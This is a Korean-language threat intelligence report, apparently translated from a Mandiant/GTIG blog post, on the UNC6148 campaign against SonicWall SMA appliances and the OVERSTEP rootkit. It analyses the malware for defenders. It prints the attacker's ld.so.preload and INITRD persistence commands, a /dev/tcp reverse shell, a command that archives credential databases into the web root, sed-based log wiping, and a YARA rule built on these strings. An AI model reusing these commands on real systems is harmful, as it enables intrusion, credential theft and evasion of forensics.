진행 중인 SonicWall Secure Mobile Access(SMA) 공격 캠페인 및 OVERSTEP 백도어
Mandiant
Google Threat Intelligence Group
해당 블로그의 원문은 2025년 7월 17일 Google Cloud 블로그(영문)에 게재되었습니다.
작성자: Josh Goddard, Zander Work, Dimiter Andonov
업데이트 (7월 30일): SonicWall에서 OVERSTEP 백도어와 연관된 것으로 식별한 추가 네트워크 IOC가 포함되었습니다.
서론
구글 위협 인텔리전스 그룹(GTIG)은 UNC6148로 추정되는 금전적 동기를 가진 공격 그룹의 지속적인 캠페인을 확인했습니다. 이들은 지원 종료(end-of-life)된 SonicWall Secure Mobile Access(SMA) 100 시리즈 어플라이언스를 표적으로 삼고 있습니다. GTIG는 UNC6148이 이전에 탈취한 자격 증명과 일회용 비밀번호(OTP) 시드를 사용하여, 조직이 보안 업데이트를 적용한 후에도 접근 권한을 다시 확보하고 있다고 매우 높은 신뢰도로 평가합니다. 공격자의 악성코드는 로그 기록을 선택적으로 삭제하도록 설계되어 초기 감염 경로에 대한 증거는 제한적입니다. 그러나 알려진 취약점 악용을 통한 공격이었을 가능성이 높습니다.
이번 새로운 공격 활동에서 공격자는 OVERSTEP이라는 이전에 알려지지 않은 지속성 백도어/사용자 모드 루트킷을 배포했습니다. Mandiant의 사고 대응 조사 결과, 이 악성코드는 어플라이언스의 부팅 프로세스를 수정하여 지속적인 접근을 유지하고, 민감한 자격 증명을 탈취하며, 자체 구성 요소를 숨기는 것으로 분석되었습니다. GTIG는 UNC6148이 SonicWall SMA 어플라이언스를 대상으로 한 기회주의적 공격에서 알려지지 않은 제로데이 원격 코드 실행(RCE) 취약점을 사용하여 OVERSTEP을 배포했을 가능성이 있다고 중간 신뢰도로 평가합니다.
GTIG는 최소 2024년 10월부터 시작된 UNC6148의 활동이 데이터 탈취, 갈취, 그리고 랜섬웨어 배포를 목적으로 할 수 있다고 중간 신뢰도로 평가합니다. 2025년 5월에 UNC6148의 표적이 된 한 조직의 정보는 2025년 6월 "World Leaks" 데이터 유출 사이트(DLS)에 게시되었습니다. 또한 UNC6148의 활동은 2023년 말과 2024년 초에 공개적으로 보고된 SonicWall 악용 사례와 중복되며, 이는 Abyss 랜섬웨어(GTIG가 VSOCIETY로 추적) 배포와 관련이 있는 것으로 알려져 있습니다.
이전에 탈취된 자격 증명을 이용한 재침해의 위험이 있으므로, 조직들은 어플라이언스가 완전히 패치된 상태이더라도, 잠재적 침해를 탐지하고 모든 자격 증명을 교체할 것을 권장합니다. 이 블로그 게시물은 OVERSTEP 루트킷과 UNC6148 캠페인에 대한 기술적 세부 정보를 제공하여 방어자들이 이 위협을 완화하는 데 도움을 줍니다.
관리자 자격 증명 탈취를 위한 초기 SMA 공격
Mandiant의 최근 조사에서 UNC6148은 이미 표적이 된 SMA 100 시리즈 어플라이언스의 로컬 관리자 자격 증명을 소유하고 있었으며, 이 자격 증명을 어떻게 얻었는지에 대한 포렌식 증거나 다른 데이터는 확인되지 않았습니다. GTIG는 2025년 전체에 걸쳐 SonicWall n-day 악용 활동에 대한 패치 타임라인 및 공개 보고서를 기반으로, UNC6148이 표적이 된 SMA 어플라이언스가 최신 펌웨어 버전(10.2.1.15-81sv
)으로 업데이트되기 전에 알려진 취약점을 악용하여 관리자 자격 증명을 탈취했을 가능성이 높다고 매우 높은 신뢰도로 평가합니다. 네트워크 트래픽 메타데이터 기록 분석에 따르면 UNC6148은 2025년 1월 초에 SMA 어플라이언스에서 이 자격 증명을 유출했을 수 있습니다.
SonicWall 및 여러 보안 회사들의 공개 보고서는 UNC6148이 악용했을 수 있는 몇 가지 다른 취약점을 강조합니다.
-
CVE-2021-20038: Unauthenticated remote code execution (SonicWall advisory, Truesec report, AttackerKB entry) CVE-2021-20038: 인증되지 않은 원격 코드 실행 취약점 (SonicWall 권고, Truesec 보고서, AttackerKB 항목)
-
이는 코드 실행 권한을 얻기 위해 악용될 수 있는 메모리 손상 취약점입니다. 그러나 Rapid7의 공개 익스플로잇은 최대 20만 개의 HTTP 요청을 보낼 수 있고 실행에 1시간 이상이 걸릴 수 있어, 광범위한 캠페인에서 이 취약점을 악용하지는 않았을 수 있습니다.
-
Truesec은 2023년 말 SonicWall SMA를 대상으로 관찰된 침입 활동의 그럴듯한 진입점으로 이 취약점을 식별했습니다.
-
CVE-2024-38475: Apache HTTP Server의 인증되지 않은 경로 탐색 취약점으로, SMA 100 시리즈에 영향을 미쳤습니다. (SonicWall 권고, Orange CyberDefense/SCRT 블로그 게시물)
-
이는 SMA 100 시리즈에서 구체적으로 두 가지 SQLite 데이터베이스(
temp.db
,persist.db
)를 유출하는 데 악용될 수 있습니다. 이 데이터베이스에는 사용자 계정 자격 증명, 세션 토큰 및 OTP 시드 값과 같은 민감한 정보가 저장되어 있습니다. - watchTowr는 2025년 5월에 이 취약점을 다른 버그인 CVE-2023-44221과 연결하여 SMA 100 시리즈 어플라이언스를 침해할 수 있는 방법을 설명하는 블로그 게시물을 발표했습니다. 그러나 Mandiant는 UNC6148이 이 버그 체인을 사용했다는 증거를 확인하지 못했습니다
-
CVE-2021-20035: 인증된 원격 코드 실행 취약점 (SonicWall 권고, ArcticWolf 보고서)
-
/cgi-bin/sitecustomization
POST 요청 핸들러의 명령 삽입 취약점입니다. -
Arctic Wolf와 SonicWall은 2025년 4월에 이 취약점이 실제 공격에 악용되고 있다고 보고했습니다.
-
CVE-2021-20039: 인증된 원격 코드 실행 취약점 (SonicWall 권고, dfir.ch 블로그 게시물, AttackerKB 항목)
-
/cgi-bin/viewcert
요청 핸들러의 명령 삽입 취약점입니다. -
dfir.ch는 2024년 3월에 이 취약점이 SonicWall SMA를 악용하여 Abyss 랜섬웨어를 배포한 침입에 사용되었다고 보고했으며, Mandiant의 조사와 유사한 침입 아티팩트가 있었습니다.
-
CVE-2025-32819: 인증된 파일 삭제 취약점 (SonicWall 권고, Rapid7 보고서)
-
조작된 HTTP 요청을 사용하여, 이 취약점은 표적이 된 SonicWall SMA의 내장 관리자 자격 증명을 비밀번호(
password
)로 되돌려 공격자에게 관리자 접근 권한을 부여하는 데 악용될 수 있습니다
UNC6148은 위에서 언급된 취약점들을 이용하거나, 여기에 언급되지 않은 다른 취약점을 사용했을 수 있습니다. CVE-2024-38475는 UNC6148이 재사용할 수 있는 로컬 관리자 자격 증명과 유효한 세션 토큰을 제공하여 매력적인 표적이 되었을 수 있지만, Mandiant는 이 취약점의 악용을 확인할 수 없었습니다. 앞서 언급된 인증된 버그들의 악용은 UNC6148이 이미 SMA 어플라이언스에 대한 어느 정도의 자격 증명을 가지고 있어야 하므로 악용 가능성이 낮지만, 실제 공격에 사용된 상태이므로 언급할 가치가 있습니다. 자격 증명은 정보 탈취자 로그 또는 자격 증명 시장을 통해 얻어졌을 수도 있지만, GTIG는 악용된 SMA 어플라이언스 자격 증명과 관련된 직접적인 노출을 확인할 수 없었습니다.
후속 SMA 침해 및 OVERSTEP 배포
Mandiant의 앞선 조사에 따르면, 2025년 6월에 UNC6148은 BitLaunch(BLNWX) VPS(193.149.180.50)에서 언급된 로컬 관리자 자격 증명을 사용하여 표적이 된 SMA 100 시리즈 어플라이언스에 SSL VPN 세션을 설정했습니다.
SSL VPN 세션이 설정된 후, 공격자는 표적이 된 SMA 어플라이언스에 리버스 셸을 생성했습니다. 이러한 어플라이언스에서 셸 접근은 설계상 불가능하며, SonicWall 제품 보안 사고 대응팀(PSIRT)과 Mandiant의 공동 조사에서도 UNC6148이 어떻게 이 리버스 셸을 설정했는지 확인하지 못했습니다. UNC6148이 알려지지 않은 취약점을 악용하여 리버스 셸을 설정했을 가능성이 있습니다.
리버스 셸을 통해 UNC6148은 cat
, chmod
, cp
, date
, hostname
, mkdir
, mount
, mv
, rm
과 같은 다양한 내장 시스템 바이너리를 사용하여 초기 정찰 및 파일 조작을 수행했습니다. 또한, 공격자가 SMA 어플라이언스에 설정을 내보내고 가져오는 것을 관찰했는데, 이는 UNC6148이 중단 없는 운영을 보장하기 위해 자신들의 인프라를 위한 새로운 규칙을 포함하도록 내보낸 설정 파일을 오프라인에서 수정했을 수 있음을 시사합니다.
이 초기 활동에 이어, 공격자는 OVERSTEP 백도어를 배포했습니다. 이 과정은 바이너리를 Base64에서 디코딩하여 지속성 디렉터리인 /cf
에 xxx.elf
라는 파일명으로 저장하고, 이를 /usr/lib/libsamba-errors.so.6
으로 이동시킨 다음, /etc/ld.so.preload
에 경로를 추가하여 지속성을 확보하는 일련의 명령 실행을 포함했습니다.
cd /cf; touch xxx.elf;
openssl enc -base64 -d [REDACTED] >>xxx.elf;
chmod 777 /usr/lib/libsamba-errors.so.6;
touch -c /usr/lib/libsamba-errors.so.6 -r
echo /usr/lib/libsamba-errors.so.6 > /etc/ld.so.preload;
chown root:root /usr/lib/libsamba-errors.so.6;
chmod 777 /usr/lib/libsamba-errors.so.6;
touch -c /usr/lib/libsamba-errors.so.6 -r
echo /usr/lib/libsamba-errors.so.6 > /etc/ld.so.preload;
arp
그림 1: 어플라이언스에서 실행된 공격자 셀 명령어 모음
다음으로, UNC6148은 OVERSTEP의 지속성을 확보하기 위해 합법적인 RC 파일인 /etc/rc.d/rc.fwboot
를 수정했습니다. 이러한 변경은 어플라이언스가 재부팅될 때마다 OVERSTEP 바이너리가 실행 중인 파일 시스템에 로드되도록 했습니다. 구체적으로, rc.fwboot
스크립트의 bootCurrentFirmware
함수가 수정되어 다음을 수행하는 코드가 포함되었습니다
-
현재 펌웨어 디렉터리 내에
zzz
라는 임시 디렉터리를 생성했습니다. 이 디렉터리는 INITRD 이미지를 압축 해제하고, 수정하며, 다시 압축하기 위한 준비 영역 역할을 했습니다. 이는 런타임에 중요한 시스템 파일을 직접 덮어쓰지 않고 악성 콘텐츠를 주입하기 위한 사전 단계였습니다. -
압축된 초기 RAM 디스크 이미지인
INITRD.GZ
파일을 압축 해제했습니다. 압축 해제된 파일의 이름은INITRD
였으며, 이는 실제 루트 파일 시스템이 마운트되기 전 부팅 과정 중에 메모리에 로드되는 최소한의 루트 파일 시스템을 포함합니다. 이 이미지를 수정함으로써 공격자는 부팅 시퀀스 초기에 존재하고 실행될 수 있는 악성 파일을 주입하여 탐지 및 제거를 어렵게 만들었습니다. -
압축 해제된
INITRD
파일을 새로 생성된$fwLoc/zzz
디렉터리에 루프 장치로 마운트했습니다. 이는INITRD
파일의 내용을 마치 일반 파일 시스템처럼 접근하고 수정할 수 있게 했습니다. 이 단계는 스크립트가 초기 RAM 디스크의 내용을 탐색하고 수정하는 데 필수적이었습니다. -
/cf/
에 있는libsamba-errors.so.6
파일을 마운트된INITRD
디렉터리/usr/lib/
에 복사했습니다. -
libsamba-errors.so.6
파일의 소유자와 그룹을root:root
로 변경했습니다. 이는 합법적인 시스템 라이브러리가 일반적으로root
가 소유하는 것을 모방하도록 권한을 설정한 것입니다. -
복사된 악성 라이브러리의 파일 권한을
0777
(소유자, 그룹 및 기타 사용자에 대한 읽기, 쓰기 및 실행)로 변경했습니다. -
타임스탬프 스탬핑(timestomping) 기법을 사용하여, 합법적인 파일인
libsamba-errors.so
의 수정 타임스탬프를 악성 파일인libsamba-errors.so.6
으로 복사하려고 시도했습니다. 이는 악성 파일이 원래 시스템 설치의 일부인 것처럼 보이게 하여 탐지 및 조사를 방해하는 것을 목표로 했습니다. -
INITRD
디렉터리/etc/
에 위치한ld.so.preload
파일에 악성 파일/usr/lib/libsamba-errors.so.6
의 경로를 작성했습니다. 이는 동적 실행 파일이 OVERSTEP 공유 객체 파일을 로드하게 하여, 어플라이언스에 대한 지속성과 시스템 프로세스에서의 권한 있는 실행을 제공합니다. -
다음을 포함한 임시 수정을 정리했습니다.
-
INITRD
파일에 대한 모든 변경 사항이 저장되도록 보류 중인 디스크 쓰기를 플러시했습니다. -
임시 디렉터리에서
INITRD
파일의 마운트를 해제했습니다. -
수정된
INITRD
파일을 다시 압축했습니다. -
임시 디렉터리를 제거했습니다.
-
-
새로 압축된
INITRD
파일의 이름을 예상 파일명인INITRD.GZ
로 변경했습니다. -
수정된
INITRD.GZ
파일의 타임스탬프를 커널 이미지 파일인BZIMAGE
의 타임스탬프와 일치하도록 변경했습니다. 이는 탐지 및 조사를 방해하기 위한 또 다른 타임스탬프 스탬핑 작업이었습니다. -
커널 이미지
BZIMAGE
와 수정된 초기 RAM 디스크INITRD.GZ
를 메모리에 로드하여 새로운 커널 실행을 준비했습니다. 또한LINUX.OPT
에서 커널 부팅 옵션을 추가했습니다. 이는 시스템이 수정된 펌웨어로 부팅할 준비를 마쳤음을 의미합니다.kexec
의 사용은 실행 중인 리눅스 커널이 완전한 하드웨어 재부팅 없이 다른 리눅스 커널을 부팅할 수 있게 했습니다. -
소프트 재부팅을 시작하여 새로 로드된 커널을 실행했습니다.
요약하자면, 이 코드는 시스템의 부팅 프로세스를 이용하여 지속적인 루트킷을 주입했습니다. INITRD
파일을 수정하고 ld.so.preload
를 활용함으로써, 공격자는 동적 실행 파일이 시작될 때마다 악성 코드가 로드되고 실행되도록 보장하여 어플라이언스에 대한 권한 있는 지속적 제어권을 확보했습니다.
function bootCurrentFirmware()
{
echo "$FUNCNAME: begin" >> $LOGFILE
fwLoc=/cf/firmware/current
if [ ! -f $fwLoc/BZIMAGE ]; then
echo "Can't locate the kernel image" >> $LOGFILE;
elif [ -f $fwLoc/INITRD ]; then
echo "Can't locate the filesystem image" >> $LOGFILE;
else
mkdir $fwLoc/zzz
gzip -d $fwLoc/INITRD.GZ
mount -o loop $fwLoc/INITRD $fwLoc/zzz
cp /cf/libsamba-errors.so.6
$fwLoc/zzz/usr/lib/libsamba-errors.so.6
chown root:root $fwLoc/zzz/usr/lib/libsamba-errors.so.6
chmod 777 $fwLoc/zzz/usr/lib/libsamba-errors.so.6
touch -c $fwLoc/zzz/usr/lib/libsamba-errors.so.6 -r
$fwLoc/zzz/usr/lib/libsamba-errors.so
echo /usr/lib/libsamba-errors.so.6 > $fwLoc/zzz/etc/ld.so.preload
sync; umount $fwLoc/zzz; sync; gzip $fwLoc/INITRD; rm -rf $fwLoc/zzz
mv $fwLoc/INITRD.gz $fwLoc/INITRD.GZ; touch -c $fwLoc/INITRD.GZ -r
$fwLoc/BZIMAGE
/usr/local/sbin/kexec -l $fwLoc/BZIMAGE --initrd=$fwLoc/INITRD.GZ
--append="`cat $fwLoc/LINUX.OPT`"
/usr/local/sbin/kexec -e;
fi
echo "$FUNCNAME: end" >> $LOGFILE
}
그림 2: OVERSTEP의 지속성을 제공하기 위해 rc.fwboot
파일에서 수정된 함수
OVERSTEP 배포가 완료된 후, 공격자는 시스템 로그를 삭제하고 어플라이언스를 재부팅하여 OVERSTEP의 실행을 유발했습니다.
OVERSTEP 분석
OVERSTEP은 C언어로 작성된 백도어로, SonicWall SMA 100 시리즈 어플라이언스를 위해 설계되었습니다. 관찰된 샘플은 Intel x86 아키텍처용 32비트 ELF 공유 객체로 컴파일되었습니다. 이 공유 객체는 /etc/ld.so.preload
파일을 통해 프로세스에 로드되도록 설계되었습니다. 이러한 방식으로 사전 로드되면, 악성 라이브러리는 이후에 시작되는 프로세스의 주소 공간에 매핑됩니다. 이 사전 로딩은 표준 라이브러리 함수인 open
, open64
, readdir
, readdir64
, 그리고 write
를 하이재킹하여, 합법적인 시스템 라이브러리보다 먼저 악성 공유 객체에서 이러한 심볼이 해결되도록 합니다. 백도어의 주요 기능은 리버스 셸을 설정하고 침해된 호스트에서 비밀번호를 유출하는 것입니다. 또한, 악성코드는 후킹된 파일 시스템 관련 함수(open
, open64
, readdir
, readdir64
)를 활용하여 자신의 구성 요소를 호스트에 효과적으로 숨기는 사용자 모드 루트킷 기능을 구현합니다. 명령 및 제어(C2 또는 C&C) 서버와의 통신은 간접적이며, 악성 write
API에 의해 가로채진 버퍼에서 명령을 파싱하는 것에 의존합니다.
악성 공유 객체의 경로는 /etc/ld.so.preload
파일에 추가되었으며, 이는 악성코드가 침해된 어플라이언스에서 지속성을 확보하도록 합니다. /etc/ld.so.preload
파일에 포함되었기 때문에, 악성코드의 공유 객체는 침해된 시스템에서 실행되는 모든 새로운 프로세스에 매핑됩니다. 매핑 시, 악성코드는 초기화 루틴인 내보낸 my_init
함수를 통해 실행됩니다. 이 my_init
함수는 /etc/ld.so.preload
에 FS_IMMUTABLE_FL 플래그를 설정하여, 파일의 수정, 삭제, 이름 변경 또는 링크 생성을 효과적으로 방지합니다. 이 사전 로딩 메커니즘은 악성코드가 LD_PRELOAD
하이재킹을 수행하여 다음 표준 라이브러리 함수의 자체 버전을 가로채도록 합니다: open
, open64
, readdir
, readdir64
, write
. 하이재킹된 open*
및 readdir*
API는 악성코드의 존재와 구성 요소를 숨기는 사용자 모드 루트킷을 구현하는 데 활용됩니다. 반면, 핵심 백도어 기능은 후킹된 write
함수 내에 구현됩니다. 루트킷 및 백도어 기능은 다음 섹션에서 더 자세히 설명됩니다.
사용자 모드 룻트키
일반적으로 파일 경로와 접근 모드를 지정하는 하이재킹된 open
및 open64
API 함수는 악성코드에 의해 조작됩니다. 이 함수들의 악성코드 구현은 요청된 파일 경로가 /etc/ld.so.preload
인지 확인합니다. 일치하는 경우 오류 코드를 반환하여, 침해된 시스템의 어떤 프로세스도 이 중요한 파일을 열지 못하게 합니다.
하이재킹된 readdir
및 readdir64
API 함수는 디렉터리 목록에서 다음 아티팩트를 숨기는 데 사용됩니다.
-
bash
,sh
, 또는ssh
와 관련된/proc
항목 -
libsamba-errors.so.6
(이 특정 시스템에서 관찰된 악성코드의 파일명) -
/etc/ld.so.preload
백도어
백도어의 명령 실행 메커니즘은 하이재킹된 write
API 함수를 중심으로 합니다. 표준 write
API는 I/O 스트림으로 향하는 데이터를 포함하는 버퍼를 받습니다. 이 구현에서 악성 write
함수는 이 버퍼의 처음 1024바이트를 검사하여 dobackshell
또는 dopasswords
명령 문자열을 찾습니다. 이 두 문자열 중 하나가 탐지되면, 악성코드는 바로 뒤에 관련 명령 매개변수가 있다고 예상합니다.
-
dobackshell
-
bash -i >& /dev/tcp/<ip>/<port> 0>&1 &
명령을 사용하여 리버스 셸을 시작합니다. -
매개변수: IP 주소와 포트
-
-
dopasswords
-
그림 3의 명령어를 사용하여 민감한 파일들을 묶어 제공된
<filename>
으로 TAR 아카이브를 생성합니다. 특히, 이 TAR 아카이브는 웹 접근 가능한 디렉터리/usr/src/EasyAccess/www/htdocs
에777
의 관대한 권한으로 저장됩니다. 이는 공격자가 웹 브라우저를 통해 아카이브를 다운로드할 수 있게 합니다. -
매개변수: TAR 아카이브의 파일명.
-
tar czfP /usr/src/EasyAccess/www/htdocs/<filename>.tgz
/tmp/temp.db /etc/EasyAccess/var/conf/persist.db
/etc/EasyAccess/var/cert; chmod 777
/usr/src/EasyAccess/www/htdocs/<filename>.tgz
그림 3: OVERSTEP의 dopasswords
명령에 의해 실행되는 셸 명령어
명령을 파싱하고 실행한 후, 악성코드는 영향을 받는 로그 파일에서 해당 항목을 삭제하려고 시도합니다. 이 정리 작업은 sed
명령을 사용하여 수행됩니다: sed -i '/<cmd>/d' /var/log/<log_file>
, 여기서 <cmd>
는 dobackshell
또는 dopasswords
입니다. 표적이 되는 <log_file>
은 httpd.log
, http_request.log
, 또는 inotify.log
일 수 있습니다. 이 로그 정리 프로세스는 악성코드가 UID 및 GID를 0으로 설정하여 권한을 성공적으로 상승시킬 수 있는 경우에만 시작됩니다.
명령 수신
악성코드는 웹 요청에 내장된 명령을 수신하도록 설계되었습니다. 예를 들어, 합법적인 httpd
서버는 명령과 그 매개변수를 포함하는 URL(예: https://<침해된_서버>/query?q=dobackshell<params>
)을 수신할 수 있습니다. 그러면 서버는 이 요청을 httpd.log
, http_request.log
, 또는 inotify.log
와 같은 파일에 로깅하려고 시도합니다. 이 시점에서, 악성 공유 객체가 httpd
프로세스의 주소 공간에 사전 로드되어 있기 때문에, write
호출이 가로채집니다. 악성 write
함수는 로그 데이터를 파싱하고 인식된 명령을 실행합니다. 기술적으로는 어떤 프로세스의 write
작업도 명령을 전달하는 데 사용될 수 있지만, 이 웹 서버 로그 벡터는 공격자의 관점에서 의도된 가장 실용적인 방법일 가능성이 높습니다.
위험 및 침해 후 활동
우리의 조사에서 GTIG는 침해된 어플라이언스에서 비콘 트래픽을 관찰했지만, 주목할 만한 침해 후 활동은 확인하지 못했습니다. 공격자가 자신의 흔적을 숨기는 데 성공한 것은 주로 httpd.log
, http_request.log
, inotify.log
에서 로그 항목을 선택적으로 삭제하는 OVERSTEP의 기능 때문입니다. 이 안티-포렌식(anti-forensic) 조치는 디스크에 셸 기록이 없는 것과 결합되어, 공격자의 2차 목표에 대한 가시성을 크게 감소시킵니다.
주요 위험은 OVERSTEP의 민감한 파일을 탈취하는 기능에서 비롯됩니다. /etc/EasyAccess/var/cert
디렉터리에서 persist.db
데이터베이스와 인증서 파일을 유출하는 능력은 공격자에게 자격 증명, OTP 시드 및 인증서를 제공합니다. 이 탈취된 데이터의 무기화(weaponization)를 직접 관찰하지는 않았지만, 이는 지속적인 접근을 위한 명확한 경로를 만듭니다.
영향을 받은 조직은 어플라이언스에 저장된 모든 비밀을 교체하고 이 문서의 권장 사항을 따라야 합니다.
더 넓은 맥락 및 캠페인
이 캠페인은 GTIG가 직접 조사한 사건들을 넘어 확장됩니다. 우리는 최소 2024년 10월로 거슬러 올라가는 UNC6148의 다른 SonicWall SMA 어플라이언스에 대한 표적화, 잠재적 스캐닝 활동을 확인했습니다. 우리의 발견은 SonicWall에 의해 뒷받침되는데, SonicWall은 다른 영향을 받은 조직에 대한 보고서를 확인하고 이후 CVE-2024-38475에 대한 권고를 업데이트하여 OTP 시드 교체를 권장했습니다.
GTIG는 이 캠페인과 관련된 수익화 또는 기타 최종 목표를 직접 관찰하지는 않았지만, 과거 네트워크 원격 측정 데이터 분석을 통해 2025년 5월에 "World Leaks" DLS에 게시된 조직과 관련된 SMA 100 시리즈 어플라이언스의 트래픽이 2025년 6월에 발견되었음을 확인했습니다. 그러나 현재로서는 우연한 중첩을 배제할 수 없습니다.
또한, UNC6148 활동은 Truesec 및 dfir.ch의 과거 분석과 주목할 만한 중첩이 있으며, 이는 Abyss 랜섬웨어 배포와 관련이 있었습니다. UNC6148이 동일한 공격자 또는 관련 공격자임을 시사하는 이러한 중첩은 이 침해 사고들이 궁극적으로 데이터 갈취 및 랜섬웨어 배포로 이어질 수 있음을 더욱 나타냅니다.
-
Mandiant가 관찰한 OVERSTEP 백도어 및 배포 메커니즘은 2023년 말 Truesec이 보고한
wafxSummary
도구의 직접적인 진화로 보입니다 -
2024년 초 dfir.ch 블로그 게시물은 Truesec이 언급한
wafxSummary
도구 배포와 Abyss 랜섬웨어 배포 사이에 거의 1년의 시간 간격이 있었던 침입을 설명합니다. 이는 우리의 최근 조사에서 초기 UNC6148 활동과 OVERSTEP 배포 사이의 6개월 이상의 시간 간격과 일치합니다.
권장 사항
GTIG는 SMA 어플라이언스를 보유한 모든 조직이 침해 여부를 판단하기 위한 분석을 수행할 것을 권고합니다. 조직은 루트킷의 안티-포렌식 기능의 방해를 피하기 위해 포렌식 분석을 위한 디스크 이미지를 확보해야 합니다. 조직은 물리적 어플라이언스에서 디스크 이미지를 캡처하기 위해 SonicWall과 협력해야 할 수도 있습니다.
위협 탐지 및 헌팅
방어자는 침해의 다음 징후를 찾기 위해 디스크 이미지 및 주변 로그 소스를 분석해야 합니다.
-
파일 시스템 및 아티팩트
-
이 보고서에 나열된 모든 침해 지표(IOC)의 존재.
-
지속성
/cf
디렉터리 또는INITRD
파일, 특히/usr/lib
디렉터리 내의 예기치 않은 바이너리. 우리의 조사에서 GTIG는 OVERSTEP이 이 디렉터리에 상주하는 것을 관찰했습니다. -
디스크 이미지에
/etc/ld.so.preload
파일의 존재. 이 파일은 표준 SMA 어플라이언스에 존재해서는 안 되며, 루트킷은 라이브 시스템에서 이를 숨길 것입니다. -
RC 스크립트에 대한 악성 수정, 특히
/etc/rc.d/rc.fwboot
스크립트. -
INITRD
이미지(/cf/firmware/
) 내의 불규칙한 타임스탬프를 가진 파일.
-
-
로그 및 네트워크 분석
-
URL 쿼리에
dobackshell
또는dopasswords
를 포함하는 어플라이언스에 대한 웹 요청. -
관리자 계정을 사용하는 외부 IP 주소(특히 BLNWX와 같은 평판이 낮은 네트워크)로부터의 VPN 세션을 보여주는 어플라이언스 이벤트 로그.
-
어플라이언스에서 외부 IP 주소로 향하는 아웃바운드 HTTP 네트워크 트래픽.
-
예정된 유지보수 기간 외에 발생하는 'Current settings exported', 'Current settings imported', 또는 'Clear all logs manually'에 대한 로그 항목.
-
FLASH.DAT 파일(현재 및 백업) 내부를 포함하여 어플라이언스의 다른 로그 파일 내의 불규칙한 활동 또는 위협.
-
SMA 어플라이언스에서 환경 내 다른 시스템으로 향하는 횡적 이동(주로 SSH를 통해)의 증거.
-
위협 격리 및 제거
침해의 증거가 탐지된 경우, 조직은 위협을 격리시키기 위한 즉각적인 조치를 취해야 합니다.
-
추가적인 악성 활동을 방지하기 위해 영향을 받은 어플라이언스를 네트워크에서 격리합니다.
-
전체 포렌식 조사를 위해 디스크 이미지 및 원격 측정 데이터를 보존합니다.
-
공격자의 활동 범위를 완전히 파악하기 어려울 수 있으므로, GTIG는 완전한 범위 설정 및 제거하기 위해 Mandiant 사고 대응팀에 연락할 것을 권장합니다.
강화 및 완화
즉각적인 위협을 완화하고 향후 공격에 대비하여 어플라이언스를 강화하기 위해, 조직은 다음을 수행해야 합니다.
-
어플라이언스의 모든 로컬 및 디렉터리 사용자에 대한 비밀번호 및 OTP 바인딩을 포함하여 모든 자격 증명을 재설정합니다. 이는 이전 침해에서 도난당한 비밀을 무효화하는 가장 중요한 단계입니다.
-
어플라이언스에 저장된 개인 키를 사용하는 모든 인증서를 폐기하고 재발급합니다.
침해 지표 (IOCs)
호스트 기반 IOCs
네트워크 기반 IOCs
탐지
YARA Rule
rule G_Backdoor_OVERSTEP_1 {
meta:
author = "Google Threat Intelligence Group"
date_created = "2025-06-03"
date_modified = "2025-06-03"
rev = 1
strings:
$s1 = "dobackshell"
$s2 = "dopasswords"
$s3 = "bash -i >& /dev/tcp/%s 0>&1 &"
$s4 = "tar czfP /usr/src/EasyAccess/www/htdocs/%s.tgz
/tmp/temp.db /etc/EasyAccess/var/conf/persist.db
/etc/EasyAccess/var/cert; chmod 777"
$s5 = "/etc/ld.so.preload"
$s6 = "libsamba-errors.so.6"
condition:
uint32(0) == 0x464c457f and filesize < 2MB and 4 of them
}